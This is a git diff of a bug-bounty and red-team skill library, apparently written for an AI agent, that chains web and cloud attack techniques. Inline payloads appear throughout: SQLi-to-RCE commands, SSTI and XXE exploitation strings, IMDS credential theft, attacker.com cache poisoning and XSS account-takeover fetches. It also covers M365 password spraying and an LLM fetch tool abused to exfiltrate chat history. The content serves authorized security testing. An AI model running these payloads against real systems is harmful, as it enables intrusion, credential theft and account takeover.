exploitation could reach beyond the WordPress installation. This illustrates the plugin supply chain risk: the parent company's bug bounty scope included the domain, but the vulnerable code was entirely third-party. Hunting WordPress plugins means auditing installed plugins against known CVEs AND testing for novel injections in their parameters — the enterprise brand amplifies the payout even when the root cause is a $20 plugin.**Scenario C — Authenticated Internal Tool Exposed Externally (Airflow pattern)**-Apache Airflow's web interface, deployed for workflow orchestration and accessible to authenticated users, contained SQL injection in a filter/search parameter within the admin UI. Because Airflow often runs with database superuser credentials (it needs to manage its own metadata DB), exploitation by any authenticated user — including low-privilege accounts — could lead to full database read/write access and potentially OS-level command execution via `COPY TO/FROM` or similar DB features. The lesson: "authenticated-only" does not mean "safe" — internal tools have weak authorization models and often over-privileged DB connections.\ No newline at end of file+Apache Airflow's web interface, deployed for workflow orchestration and accessible to authenticated users, contained SQL injection in a filter/search parameter within the admin UI. Because Airflow often runs with database superuser credentials (it needs to manage its own metadata DB), exploitation by any authenticated user — including low-privilege accounts — could lead to full database read/write access and potentially OS-level command execution via `COPY TO/FROM` or similar DB features. The lesson: "authenticated-only" does not mean "safe" — internal tools have weak authorization models and often over-privileged DB connections.++---++## Related Skills & Chains++- **`hunt-rce`** — A SQLi against a DB user with `FILE`, `xp_cmdshell`, or `COPY FROM PROGRAM` privileges is an RCE primitive, not just a data-read. Chain primitive: MSSQL union-based SQLi → `EXEC xp_cmdshell 'whoami'` → RCE as `NT AUTHORITY\SYSTEM`; Postgres SQLi with `pg_read_server_files` or `COPY ... FROM PROGRAM 'id'` → RCE; MySQL SQLi with `FILE` → write webshell to web-root via `INTO OUTFILE`.+- **`hunt-idor`** — Once SQLi gives you arbitrary read on the users table, you have the IDs/UUIDs needed to enumerate IDOR endpoints at scale. Chain primitive: blind SQLi extracts `users.uuid` column → feed UUIDs into `/api/users/{uuid}/profile` → confirmed mass IDOR-with-PII rather than a theoretical broken-access-control.+- **`hunt-auth-bypass`** — Classic `' OR 1=1 --` in login forms or session tables is auth-bypass-via-SQLi. Chain primitive: SQLi on the `password_reset_tokens` table → read or insert a token row for `[email protected]` → ATO without ever seeing the original password.+- **`security-arsenal`** — Reach for the SQLi payload tree (WAF-bypass union variants `/**/UnIoN/**/SeLeCt/**/`, MSSQL `WAITFOR DELAY '0:0:10'`, MySQL `SLEEP(10)`, Postgres `pg_sleep(10)`, Oracle `DBMS_PIPE.RECEIVE_MESSAGE`, NoSQLi `{"$ne": null}` / `{"$where": "sleep(5000)"}`, second-order via stored-then-rendered fields).+- **`triage-validation`** — Apply the Reproducibility Gate before reporting. A 200ms delta on a sleep-10 payload is noise, not blind SQLi. Require statistical evidence (5 trials at 0s vs 5 trials at 10s, non-overlapping confidence intervals) or an OOB DNS callback with a unique marker. The hunt-sqli internal sentinel/baseline pattern exists for exactly this.\ No newline at end of filediff --git a/skills/hunt-ssrf/SKILL.md b/skills/hunt-ssrf/SKILL.mdindex bcd3f6a..284f8fe 100644--- a/skills/hunt-ssrf/SKILL.md+++ b/skills/hunt-ssrf/SKILL.md@@ -369,4 +369,15 @@ Before writing the report, confirm all three:A public-facing "link preview" API accepted a `url` parameter and fetched the target server-side to generate thumbnail content. The feature ran on GCP Compute Engine with IMDSv1 enabled and no `Metadata-Flavor` header enforcement on the server side. By supplying `url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token`, the attacker received a valid OAuth2 access token for the instance's service account. The token granted access to internal GCP project resources including storage buckets containing user data. The attacker used JavaScript execution within a headless rendering context to exfiltrate the token via DNS-encoded subdomains, bypassing response body restrictions.### Scenario B: Kubernetes API Compromise via Hijacked Aggregated Server (Kubernetes Pattern)-An attacker who could register a Kubernetes API extension server (metrics-server equivalent) returned `302 Location: http://127.0.0.1:6443/api/v1/secrets` responses to the aggregation layer. Because the aggregation proxy followed redirects automatically without re-validating the destination against the internal network blocklist, the redirect caused the aggregation layer itself (running with elevated cluster credentials) to fetch internal Kubernetes API secrets and return them in the response. This effectively allowed an attacker with limited API registration privileges to escalate to full cluster secret read access — a critical privilege escalation via SSRF chained through trusted infrastructure components.\ No newline at end of file+An attacker who could register a Kubernetes API extension server (metrics-server equivalent) returned `302 Location: http://127.0.0.1:6443/api/v1/secrets` responses to the aggregation layer. Because the aggregation proxy followed redirects automatically without re-validating the destination against the internal network blocklist, the redirect caused the aggregation layer itself (running with elevated cluster credentials) to fetch internal Kubernetes API secrets and return them in the response. This effectively allowed an attacker with limited API registration privileges to escalate to full cluster secret read access — a critical privilege escalation via SSRF chained through trusted infrastructure components.++---++## Related Skills & Chains++- **`cloud-iam-deep`** — SSRF is the canonical entry to cloud metadata service. Chain primitive: SSRF → IMDSv1 token theft → `cloud-iam-deep` privilege escalation reaches `iam:CreateUser` / `sts:AssumeRole` on cross-account roles.+- **`hunt-llm-ai`** — LLMs with fetch_url tools become SSRF proxies bypassing network egress controls. Chain primitive: LLM tool-use (fetch_url) + SSRF → attacker URL exfils chat history and IMDS token from the LLM container.+- **`hunt-rce`** — Internal Redis/Memcached are unauthenticated by default and reachable via gopher://. Chain primitive: SSRF + Gopher → internal Redis `CONFIG SET dir` + RCE via cron / SSH authorized_keys write.+- **`hunt-cloud-misconfig`** — Internal-only buckets/APIs become reachable through SSRF egress. Chain primitive: SSRF + DNS rebinding → SSRF-protected-endpoint bypass → internal /admin or private S3 bucket read.+- **`security-arsenal`** — Load the SSRF IP Bypass Table (11 techniques: decimal IP, IPv6 mapped, octal, suffix dot, DNS rebinding, redirect chain, etc.) before testing filters.+- **`triage-validation`** — Apply the OOB-Or-It-Didn't-Happen gate: every blind SSRF claim requires a Burp Collaborator hit with a unique marker before report submission.\ No newline at end of filediff --git a/skills/hunt-ssti/SKILL.md b/skills/hunt-ssti/SKILL.mdindex 2fde236..c10bf6b 100644--- a/skills/hunt-ssti/SKILL.md+++ b/skills/hunt-ssti/SKILL.md@@ -39,5 +39,13 @@ Name/bio/description fields, email templates, invoice name, PDF generators,URL path parameters, search queries reflected in results, HTTP headers reflected```+---+## Related Skills & Chains+- **`hunt-rce`** — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` or Freemarker `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}` → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.+- **`hunt-xss`** — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same `{{7*7}}` reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject `<script>` into rendered email template → stored XSS hitting every recipient who views the message.+- **`hunt-ssrf`** — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig `{{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}` or Jinja2 with `url_for`/custom filters → AWS metadata exfil → cloud creds.+- **`hunt-file-upload`** — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose `word/document.xml` contains `${T(java.lang.Runtime).getRuntime().exec("id")}` to a Velocity/Freemarker-driven mail-merge → RCE.+- **`security-arsenal`** — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (`__subclasses__()[N]` index hunting), Twig `_self.env` registerUndefinedFilterCallback, Freemarker `?new()` Execute, ERB backticks, Velocity `$class.inspect`, Smarty `{php}...{/php}`, plus the WAF-bypass variants (`{{request|attr('application')|...}}`, Unicode escapes, `{%print(...)%}`).+- **`triage-validation`** — Apply the Pre-Severity Gate before claiming Critical RCE. A `{{7*7}} → 49` reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Prove `id`/OOB DNS callback with a unique marker before writing the report.diff --git a/skills/hunt-subdomain-takeover/SKILL.md b/skills/hunt-subdomain-takeover/SKILL.mddeleted file mode 100644index 401c8c3..0000000--- a/skills/hunt-subdomain-takeover/SKILL.md+++ /dev/null@@ -1,36 +0,0 @@-----name: hunt-subdomain-takeover-description: "Hunt subdomain takeover — DNS points to a deprovisioned external service (S3 bucket, GitHub Pages site, Heroku app, Azure Cloudapp, Shopify, Fastly, Tumblr, etc.) that you can register/claim. Detection: dig + cname + http checks for known fingerprint strings. 27+ provider fingerprints: NoSuchBucket (S3), There isn't a GitHub Pages site here, no-such-app.herokuapp.com, NotFound (Azure), Sorry, this shop is currently unavailable (Shopify), Fastly error: unknown domain. Tools: subzy, subjack, takeover.py — but always manually verify before claiming. Standalone severity: Low/Medium (informational unless escalated). Critical chain: subdomain takeover at OAuth redirect_uri = auth code theft = ATO; takeover at session-cookie domain = session hijack across legit subdomains; takeover at email DNS (DKIM/SPF) = email spoofing. Validate: actual takeover claim + chain to real impact. Use when hunting subdomain takeover candidates, when DNS recon reveals stale CNAMEs."------## 15. SUBDOMAIN TAKEOVER-> Quick wins. $200–$3K. Systematic and automatable.--### Detection-```bash-# Dangling CNAMEs-cat /tmp/subs.txt | dnsx -silent -cname -resp | grep "CNAME" | tee /tmp/cnames.txt--# Automated detection-nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt-```--### Quick-Kill Fingerprints-```-"There isn't a GitHub Pages site here" → GitHub Pages — register the repo-"NoSuchBucket" → AWS S3 — create the bucket-"No such app" → Heroku — create the app-"404 Web Site not found" → Azure App Service-"Fastly error: unknown domain" → Fastly CDN-"project not found" → GitLab Pages-```--### Impact Escalation-```-Basic takeover → Low/Medium-+ Cookies (domain=.target.com) → High (credential theft)-+ OAuth redirect_uri registered → Critical (ATO)-+ CSP allowlist entry → Critical (XSS anywhere)-```--diff --git a/skills/hunt-subdomain/SKILL.md b/skills/hunt-subdomain/SKILL.mdindex 81a5332..ba18292 100644--- a/skills/hunt-subdomain/SKILL.md+++ b/skills/hunt-subdomain/SKILL.md@@ -225,4 +225,15 @@ An attacker finds `feedback.snapchat.com` CNAME pointing to a UserVoice subdomai`addons-preview-cdn.mozilla.net` had a CNAME pointing to a Fastly origin hostname that was no longer registered to Mozilla's Fastly account. An attacker could create a Fastly service claiming that origin hostname, causing all requests to `addons-preview-cdn.mozilla.net` to be routed to attacker-controlled Fastly infrastructure. Since the subdomain shares the `mozilla.net` domain, it could be leveraged to serve malicious CDN assets that appear to come from Mozilla's infrastructure, potentially bypassing CSP rules that allowlist `*.mozilla.net`.**Scenario C — Staging Subdomain Abandoned Post-Product Migration (Rails/GitHub Pages)**-`new.rubyonrails.org` was pointed at a GitHub Pages deployment for a website redesign project. After the new site launched and the old GitHub repo was deleted or made private, the DNS CNAME remained. An attacker could fork or create a matching GitHub Pages repository and claim the namespace, serving content under `new.rubyonrails.org`. Because this is the official Ruby on Rails domain, any content served there — including fake download links or malicious gems — carries the full trust of the Rails brand.\ No newline at end of file+`new.rubyonrails.org` was pointed at a GitHub Pages deployment for a website redesign project. After the new site launched and the old GitHub repo was deleted or made private, the DNS CNAME remained. An attacker could fork or create a matching GitHub Pages repository and claim the namespace, serving content under `new.rubyonrails.org`. Because this is the official Ruby on Rails domain, any content served there — including fake download links or malicious gems — carries the full trust of the Rails brand.++---++## Related Skills & Chains++- **`hunt-cloud-misconfig`** — Most stale CNAMEs point at deleted cloud assets (S3, CloudFront, Heroku). Chain primitive: Cloud misconfig (S3 deleted) + `hunt-subdomain` → unclaimed CNAME points to bucket → claim bucket name → full subdomain control.+- **`hunt-oauth`** — A takeover on an OAuth `redirect_uri` host = persistent ATO across the entire SSO surface. Chain primitive: Subdomain takeover at `auth.target.com` + OAuth redirect_uri allowlist → auth code theft → ATO every user that re-authenticates.+- **`hunt-api-misconfig`** — CORS regexes routinely allowlist a takeoverable subdomain. Chain primitive: Subdomain takeover + CORS `*.target.com` with credentials → credentialed cross-origin API read → mass IDOR.+- **`hunt-xss`** — A claimed subdomain is same-origin to session-cookie-domain siblings. Chain primitive: Subdomain takeover at `feedback.target.com` + cookie scope `.target.com` → JS hosted on takeover host reads main-app cookies → session hijack.+- **`security-arsenal`** — Load the 27+ Subdomain Takeover Fingerprint Table (NoSuchBucket, "no such app", GitHub Pages 404 strings, Heroku, Shopify, Fastly) and the `subzy`/`subjack` automation patterns.+- **`triage-validation`** — Apply the Unique-Marker gate: takeover claim is informational on its own; submit only after publishing a unique HTML marker on the claimed host AND demonstrating a downstream impact (cookie read, OAuth chain, CSP bypass).\ No newline at end of filediff --git a/skills/hunt-xss/SKILL.md b/skills/hunt-xss/SKILL.mdindex 07140e2..8390bf6 100644--- a/skills/hunt-xss/SKILL.md+++ b/skills/hunt-xss/SKILL.md@@ -323,4 +323,14 @@ An attacker discovered that a major payment platform's sign-in page reflected usA developer platform's wiki feature integrated a third-party diagram rendering service (Kroki). An attacker crafted a malicious diagram payload that, when rendered, executed arbitrary JavaScript in the context of any user viewing the wiki page. Because wikis are shared across team members including project owners and admins, the payload could silently exfiltrate OAuth tokens and perform administrative actions on behalf of every viewer — effectively achieving organization-level account takeover from a single stored payload.**Scenario 3 — Sanitizer Bypass via Label Color Field with CSP Bypass**-A project management platform patched an XSS vulnerability in label color fields but the fix was incomplete. A researcher found that by combining the `style` tag allowlist with specific tag nesting (`svg>style`), the sanitizer's output mutated when parsed by the browser, executing injected JavaScript. The payload also bypassed the platform's Content Security Policy because the injection occurred in an allowlisted inline style context. Impact: any user with label-creation permissions (often all project members) could inject persistent XSS that triggered for every project visitor, enabling cross-user session theft within the same project namespace.\ No newline at end of file+A project management platform patched an XSS vulnerability in label color fields but the fix was incomplete. A researcher found that by combining the `style` tag allowlist with specific tag nesting (`svg>style`), the sanitizer's output mutated when parsed by the browser, executing injected JavaScript. The payload also bypassed the platform's Content Security Policy because the injection occurred in an allowlisted inline style context. Impact: any user with label-creation permissions (often all project members) could inject persistent XSS that triggered for every project visitor, enabling cross-user session theft within the same project namespace.++---++## Related Skills & Chains++- **`hunt-cache-poison`** — Reflected XSS becomes stored-equivalent at CDN scale when the vulnerable parameter is unkeyed. Chain primitive: `X-Forwarded-Host: attacker.com` poisons a cached response whose `<script src=...>` now points at attacker.com → every CDN-edge visitor executes attacker JS without any per-victim interaction.+- **`hunt-csrf`** — XSS on origin auto-defeats SameSite=Lax and same-origin checks for state-changing endpoints. Chain primitive: stored XSS in profile bio → fetch(`/settings/email`, {method:'POST', body:'email=attacker@evil'}) executes with victim's cookies and origin → silent email takeover → password reset → full ATO without the victim ever leaving the page.+- **`hunt-http-smuggling`** — Smuggling delivers an XSS payload into the response queue of the NEXT victim's request, even on endpoints that sanitize their own inputs. Chain primitive: smuggle a request whose response (carrying attacker HTML) is served as the body of the next legitimate user's GET / → reflected XSS at every visitor without any URL parameter visible in their address bar.+- **`security-arsenal`** — Reach for the XSS payload bank (SVG+style, math+style mXSS, CSP-bypass JSONP gadgets, HTML5 event handlers WAFs miss) before hand-crafting payloads; also the always-rejected list to confirm self-XSS / alert-only PoCs are not submittable.+- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on stored XSS that only fires in the attacker's own session, or before claiming reflected XSS where the canary appears HTML-encoded (`<`) in the response body — those are the two most common downgrade-to-N/A traps.\ No newline at end of filediff --git a/skills/hunt-xxe/SKILL.md b/skills/hunt-xxe/SKILL.mdindex 787d06f..b93dbb6 100644--- a/skills/hunt-xxe/SKILL.md+++ b/skills/hunt-xxe/SKILL.md@@ -320,4 +320,15 @@ An attacker uploaded a crafted XML-based document (e.g., SVG or Office format) t### Scenario C: JSON API → Hidden XML Parser → SSRF to Internal ServicesA REST API endpoint nominally accepting JSON was found to also parse requests submitted as `application/xml`. The underlying service converted XML to an internal format using an unpatched Java `DocumentBuilderFactory`. By injecting a SYSTEM entity pointing at `http://10.0.0.x` address ranges, the tester could probe internal services, reach an unauthenticated internal admin panel, and retrieve AWS instance metadata including temporary IAM credentials — all through a single API call requiring only a valid session token.-**Business impact**: Complete AWS credential compromise from a single authenticated API call, enabling privilege escalation from application-level user to cloud infrastructure administrator.\ No newline at end of file+**Business impact**: Complete AWS credential compromise from a single authenticated API call, enabling privilege escalation from application-level user to cloud infrastructure administrator.++---++## Related Skills & Chains++- **`hunt-ssrf`** — XXE is SSRF-with-XML-syntax once you discover the parser fetches external entities. Chain primitive: blind XXE OOB `<!ENTITY % x SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role">` → exfil AWS IMDS creds via parameter-entity DTD callback → STS AssumeRole chain. Where pure SSRF is filter-blocked, `gopher://` via XXE-in-`libxml2` can still reach Redis/SMTP.+- **`hunt-file-upload`** — XXE most often hides inside file-upload features that quietly parse XML (DOCX/XLSX/PPTX, SVG, GPX, KML, OOXML, SOAP attachments). Chain primitive: upload DOCX with malicious `[Content_Types].xml` containing parameter-entity DTD → OOB file read of `/etc/passwd` / `web.config` / `.aws/credentials` via the document parser running server-side.+- **`hunt-rce`** — XXE → RCE is rare but real on PHP (`expect://`), Java (XSLT extensions with `<xsl:script>`/Xalan), and older XmlSpy/SAXON deployments. Chain primitive: XXE in a Java endpoint using a vulnerable XSLT processor → `<xsl:value-of select="rt:exec(rt:getRuntime(),'id')"/>` → RCE; or PHP XXE with `expect://id` stream wrapper enabled → direct RCE.+- **`hunt-sharepoint`** — On-prem SharePoint/Exchange/IIS stacks have a long history of XXE in SOAP/CSOM/EWS endpoints. Chain primitive: anonymous XXE in `_vti_bin/*.asmx` or EWS SOAP → read `web.config` → recover `<machineKey>` → ViewState deserialization → RCE (the ToolShell-adjacent precondition).+- **`security-arsenal`** — Reach for the XXE payload tree: standard SYSTEM file read, parameter-entity OOB DTD pattern (the `%` indirection that makes blind XXE work), `php://filter/convert.base64-encode/resource=` for binary-safe read, XInclude (`<xi:include href=...>`) when DOCTYPE is blocked, billion-laughs/quadratic-blowup for DoS, and the `jar://` / `netdoc://` Java-specific wrappers.+- **`triage-validation`** — Apply the Reproducibility + Pre-Severity Gates. An XXE that only triggers an OOB DNS callback with NO data exfil is Low/Medium (information disclosure of "this parser fetches entities"), not Critical. Critical needs proof of file read or internal HTTP — show the actual `/etc/passwd` content or the IMDS JSON response in the report.\ No newline at end of filediff --git a/skills/m365-entra-attack/SKILL.md b/skills/m365-entra-attack/SKILL.mdindex 28b2c3e..7e4d9cf 100644--- a/skills/m365-entra-attack/SKILL.md+++ b/skills/m365-entra-attack/SKILL.md@@ -332,3 +332,13 @@ go install -v github.com/projectdiscovery/... # PD toolkit for gener```Pre-built `m365_validator.py` template at engagement working directory `engagement_log/m365_validator.py`. Adapt the `attempt()` function to your engagement.++---++## Related Skills & Chains++- **`hunt-mfa-bypass`** — AADSTS50053 (lockout) vs AADSTS50126 (bad password) vs AADSTS50076 (MFA required) is a free factor-presence oracle. Chain primitive: M365 AADSTS50053 lockout differential observed → user has MFA but no CA enforcement on legacy auth → `hunt-mfa-bypass` factor-probe (SMS fallback, voice fallback, OAuth device-code flow, ROPC against legacy endpoint) → Conditional Access bypass via legacy-protocol path.+- **`hunt-ntlm-info`** — On-prem NTLM topology leak feeds the Entra spray. Chain primitive: SharePoint/Exchange/IIS anon NTLM Type-2 → AV_PAIR decode yields `corp.example.com` → `m365-entra-attack` resolves Entra tenant via openid-configuration → ROPC spray with realistic UPN format.+- **`okta-attack`** — Hybrid orgs run Okta-as-IdP federated into Entra. Chain primitive: M365 `getuserrealm` returns `NameSpaceType: Federated` with AuthURL pointing to `*.okta.com` → pivot to `okta-attack` for tenant enumeration → Okta ATO → SAML assertion to Entra → full M365 access.+- **`hunt-saml`** — Federated tenants accept signed SAML assertions; XSW or signature-stripping on the federated IdP bypasses Entra's controls entirely. Chain primitive: `getuserrealm` reveals federation → IdP fingerprinted (ADFS / Okta / PingFederate) → `hunt-saml` XSW1-XSW8 against IdP's `/adfs/ls/` or equivalent → forged assertion → Entra grants access.+- **`redteam-report-template`** — M365 findings need clear tenant/user/CA-policy framing because the blast radius is "every Microsoft service the org uses." Chain primitive: validated finding from this skill → run through `triage-validation` 7-Question Gate → package via `redteam-report-template` with explicit blast-radius (which apps, which users, which data) for client deliverable.diff --git a/skills/meme-coin-audit/SKILL.md b/skills/meme-coin-audit/SKILL.mdindex 9880c77..8284466 100644--- a/skills/meme-coin-audit/SKILL.md+++ b/skills/meme-coin-audit/SKILL.md@@ -292,3 +292,13 @@ For deep dives into specific areas:- `web3/10-meme-coin-bugs.md` — All 8 bug classes with full code examples and variants- `web3/11-solana-token-audit.md` — Solana-specific: SPL authorities, Token-2022, pump.fun, Raydium, Jupiter- `web3/12-dex-lp-attacks.md` — DEX & LP manipulation patterns (sandwich, pool sniping, CL position attacks)++---++## Related Skills & Chains++- **`web3-audit`** — When the target is a DeFi protocol (not just a token). Workflow primitive: this skill's 8 token-specific bug classes are a subset of `web3-audit`'s scope; if the target has lending / vault / oracle logic beyond the token contract itself, also load `web3-audit` for the broader 10 DeFi bug classes.+- **`triage-validation`** — When deciding if a rug-pull finding qualifies as a bug bounty submission. Workflow primitive: many "rug vector" observations are pre-rug warnings, not exploitable bugs in a deployed protocol; run 7Q gate to distinguish "the deployer COULD rug" (informational) from "the contract IS exploitable now" (reportable).+- **`report-writing`** — When writing up a confirmed token security finding for Immunefi / private bounty. Workflow primitive: Foundry PoC template here feeds into `report-writing`'s Immunefi body template.+- **`offensive-osint`** — When the token has off-chain infrastructure (project website, Telegram, deployer doxxing). Workflow primitive: on-chain audit is this skill's domain; deployer wallet history, social presence, and project legitimacy checks route to `offensive-osint`.+- **`bb-methodology`** — When confirming engagement mode. Workflow primitive: PART 0 separates "pre-investment due diligence" (this skill's primary use) from "Immunefi bug bounty submission" (different reporting + severity standards); the answer routes which post-audit handoff is correct.diff --git a/skills/mid-engagement-ir-detection/SKILL.md b/skills/mid-engagement-ir-detection/SKILL.mdindex 2952695..7781a41 100644--- a/skills/mid-engagement-ir-detection/SKILL.md+++ b/skills/mid-engagement-ir-detection/SKILL.md@@ -339,3 +339,13 @@ This is a more valuable deliverable than "I confirmed SQLi" alone, because it ca## One-line summary**Your engagement leaves a footprint. The footprint changes the target. Capture both states. Both are findings.**++---++## Related Skills & Chains++- **`redteam-mindset`** — This skill is a specific application of the broader red-team discipline. Engagement flow: `redteam-mindset` loaded at engagement start → baseline-capture habit built in → when response patterns shift mid-test, `mid-engagement-ir-detection` activates to capture the SOC-patch state as a NEW finding (defensive-action observed = client capability metric, not "the bug got fixed so we lose the finding").+- **`evidence-hygiene`** — Mid-engagement IR detection produces TWO states (pre-patch and post-patch); both need disciplined evidence capture or the second finding can't be defended. Engagement flow: baseline screenshots + timestamped request/response dumps at session start → response shift detected → second capture set with explicit timestamp delta → both packaged together.+- **`m365-entra-attack`** — The single richest source of mid-engagement IR signal in modern engagements. Engagement flow: M365 spray triggers AADSTS50053 lockout → baseline lockout policy captured → if lockout window changes mid-test (e.g., from 60min to 24hr) → `mid-engagement-ir-detection` captures the policy change as a finding ("CA policy hardened mid-engagement; defensive response measured").+- **`enterprise-vpn-attack`** + **`vmware-vcenter-attack`** — Critical-infrastructure CVE exploitation is the highest-noise activity; expect SOC to patch within hours. Engagement flow: confirmed VPN/vCenter CVE → baseline capture BEFORE exploitation attempt → if appliance updates mid-test, capture as defensive-action finding → report both the original CVE AND the IR-response.+- **`redteam-report-template`** — IR-observation findings get their own Subject in the deliverable, framed differently from technical-vuln findings. Engagement flow: `mid-engagement-ir-detection` captures behavior-change event → `triage-validation` 7-Question Gate (specifically: "is the behavior-change attributable to my activity?") → `redteam-report-template` packages as a "client capability observation" with explicit timeline and detection-latency metric.diff --git a/skills/offensive-osint/SKILL.md b/skills/offensive-osint/SKILL.mdindex 7547baf..a22aaf4 100644--- a/skills/offensive-osint/SKILL.md+++ b/skills/offensive-osint/SKILL.md@@ -258,3 +258,13 @@ Drop these prompts into a fresh Claude session to verify the skill loads correct- **v2.1.1 (2026-04-27)** — battle-test gap fixes from real-engagement smoke run. Added: §15.0.1 HudsonRock Cavalier direct-API recipe (curl + PowerShell, full JSON shape, free-tier redaction caveats, rate-limit guidance). §15.2 expanded with legacy-mail-decommissioned escalation pattern (NXDOMAIN legacy mail + breach corpus + autodiscover-confirmed cloud migration → CRITICAL SSO_EXPOSURE). §16.14 expanded with DMARC reporting-vendor table (Kratikal kdmarc / dmarcian / Valimail / Agari / EasyDMARC / DMARC Analyzer / Postmark) + full Windows/PowerShell parallel for the entire email security audit + caveat that PS 5.1 `Resolve-DnsName -Type CAA` errors (use PS 7+ or `nslookup -type=CAA`). §16.22 expanded TXT verification token catalog with 17 new tokens (zscaler-verification, cloudflare-verify, autosect, cisco-site-verification, mscid, _amazonses, salesforce-domain-verification, workday/shopify/klaviyo/mailchimp/hubspot/zendesk/freshworks/intercom/loom/miro/gitlab) + new "Autodiscover-as-confirmation" pattern for M365 detection when MX is wrapped by Mimecast/Proofpoint/Barracuda. §22.1 added passive Autodiscover IP correlation pattern with Microsoft Exchange Online IP ranges. §22.8 added clarification: SharePoint HEAD HTTP 200 = tenant exists, NOT anonymous access granted (operators commonly misread). New §16.23 legacy-app pivot block (when Wayback `*.js` returns empty for brochure-ware sites, pivot to .asp/.php/.jsp/.cfm/.aspx/.json/.xml/.yml/.ini/.conf — with full broad-sweep one-liner). New §16.24 Common-Prefix Subdomain Sweep — formalized active prefix-probe technique with 100+ ordered prefix list, PowerShell + bash + puredns recipes, and real-engagement validation note (passive enum misses 20-40% of high-value subdomains; always pair with active prefix probe). §27.0.1 added crt.sh fallback chain (Censys, CertSpotter, Calidog, Subfinder, OTX, ThreatMiner, URLScan, Anubis-DB) with PowerShell wrapper that retries crt.sh 3× then falls back to Subfinder. §28.1 added Bulk IP→ASN recipes (Cymru bulk WHOIS, RIPEstat, bgp.tools, IPinfo Lite) + caveat that bgpview.io API has aggressive rate limits unsuitable for bulk. §40 severity matrix gained 8 rows: vendor procurement portal exposed + breach corpus hits (HIGH), PII-collection portal over plain HTTP (HIGH), decommissioned legacy mail + breach + cloud migration (CRITICAL), public-facing intranet without VPN (MEDIUM), staging/preprod publicly resolvable (MEDIUM), vpn.<domain> resolves but vendor unknown (INFO escalating to HIGH-CRITICAL on KEV match), DMARC RUA → third-party vendor (INFO). §49 self-test expanded from 30 → 40 prompts targeting all new content.- **v2.1 (2026-04-27)** — comprehensive expansion based on 32-test smoke-test gap analysis. Added: copy-paste curl probes for every check (§16.13), email security analysis with SPF/DMARC/DKIM/BIMI/MTA-STS/DNSSEC parsing + SaaS tenant inference (§16.14), origin discovery / CDN bypass via DNS history + cert SAN + favicon hash + JARM + Host-header probe (§16.15), vendor product fingerprints for Citrix/F5/Pulse/Fortinet/PaloAlto/Cisco/VMware/Exchange + KEV CVE associations (§16.16), cloud-native service URL fingerprints — Lambda Function URLs, Cloud Run, Cloud Functions, Azure Functions, Vercel, Netlify, Cloudflare Workers, etc. (§16.17), container & Kubernetes exposure (kubelet, etcd, K8s API, dashboard, Helm Tiller, container registries) (§16.18), CI/CD platform exposure (Jenkins deeper, GitLab, GitHub Actions, CircleCI, TeamCity, Argo CD, Spinnaker) (§16.19), documentation/wiki leak paths (Notion, Confluence, Trello, Miro, Lucidchart, Figma, ReadTheDocs, GitBook, Slab, Coda, etc.) (§16.20), WHOIS/RDAP/historical-WHOIS recipes + reverse-WHOIS pivots (§16.21), DNS record catalog with TXT verification token table → SaaS tenant inference (§16.22), Wayback CDX deep usage with all filter parameters (§16.23). Expanded: §17 secret catalog from 29 → 48 patterns adding modern AI API keys (Anthropic, OpenAI legacy + project, HuggingFace), infra (Cloudflare, DigitalOcean), package registries (npm, PyPI, Docker Hub), SaaS (Atlassian, Linear), observability (New Relic, DataDog, Sentry DSN), bot tokens (Discord, Telegram), and ngrok. Expanded §18 dork corpus from 50+ → 80+ with internal-tool exposure (Splunk/Grafana/Kibana/Argo CD/Sonarqube/Confluence/Jira/GitLab/Gitea), backup-file extensions, and sector-specific dorks (healthcare/finance/gov). Added §22.8 Microsoft 365 deep enumeration (Teams federation, SharePoint subdomain probe, OneDrive personal-site probe, OAuth client_id discovery, device-code phishing target check, Power Platform). Added §22.9 GraphQL field-suggestion enumeration recipe + alias batching, query-depth bypass, subscription enumeration, batched-query bypass. Added §23.5–23.9 read-only validators for Anthropic, OpenAI, npm, Atlassian, DataDog (5 new). Added §23.12 post-discovery enumeration workflows (AWS IAM enum, GitHub PAT scope/repo enum, Slack workspace enum, JWT full triage with algorithm-confusion + brute-force + none-bypass, Postman PMAK workspace enum, Anthropic + OpenAI usage enum, generic key provenance enum). Pinned §24 Postman search endpoint with verified shape + DevTools fallback recipe. Added §27.1 wordlist sources (Assetnote, SecLists, jhaddix, OneListForAll, raft-large-words, fuzzdb, etc.) + size guidance. Added §28.4 TLS deep audit (sslyze + testssl.sh + nmap + JA3/JA4 + cipher/protocol/cert checks). Added §28.5 reverse DNS sweep + IPv6 enumeration + BGP route observation. Added §29.2 vulnerability prioritization data sources (NVD/EPSS/CISA KEV/ExploitDB/Metasploit/InTheWild/OpenCVE/Trickest CVE+POC mapping/OSV.dev/VulnCheck KEV) + bulk prioritization workflow. Expanded §39 attack-path hints with 15 more templates (open kubelet/etcd, K8s API anonymous, Citrix/F5/vCenter/Cloud Function unauth, npm typosquat, DMARC missing, live AI keys, Slack invite, sourcemap with sourcesContent). Expanded §40 severity matrix with 30 more worked examples covering Kubernetes/container, vendor products with KEV CVEs, M365/cloud-native, CI/CD misconfig, documentation leaks, email-security gaps, AI/package-registry credentials, TLS issues. Added §41 LinkedIn employee enumeration tradecraft (search techniques + role inference + email-pattern derivation + sock-puppet considerations). Added §42 job posting tech-stack analysis (sources + extraction + tooling). Added §43 Slack/Discord/Telegram/Mattermost workspace discovery. Added §44 package registry leak hunting (npm/PyPI/RubyGems/Cargo/Packagist/NuGet/Maven Central + workflow + typosquat surveillance). Added §45 sat imagery for physical recon 